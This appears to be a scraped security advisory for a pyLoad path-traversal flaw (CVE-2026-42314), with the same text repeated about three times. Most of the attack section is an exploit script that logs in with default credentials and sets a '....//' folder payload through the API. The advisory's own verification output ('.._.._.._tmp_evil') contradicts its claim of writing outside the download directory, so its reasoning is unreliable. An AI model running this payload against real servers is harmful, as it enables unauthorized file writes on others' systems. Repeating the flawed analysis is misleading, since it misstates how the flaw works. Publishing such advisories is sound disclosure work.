CVE-2026-42314

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

• src/pyload/core/api/__init__.py
• Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Impact

Authenticated users with ADD permission can:

• Write files outside the download directory
• Potentially overwrite system files (depending on permissions)
• Clutter system directories with downloaded content

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

• src/pyload/core/api/__init__.py
• Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Impact

Authenticated users with ADD permission can:

• Write files outside the download directory
• Potentially overwrite system files (depending on permissions)
• Clutter system directories with downloaded content

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.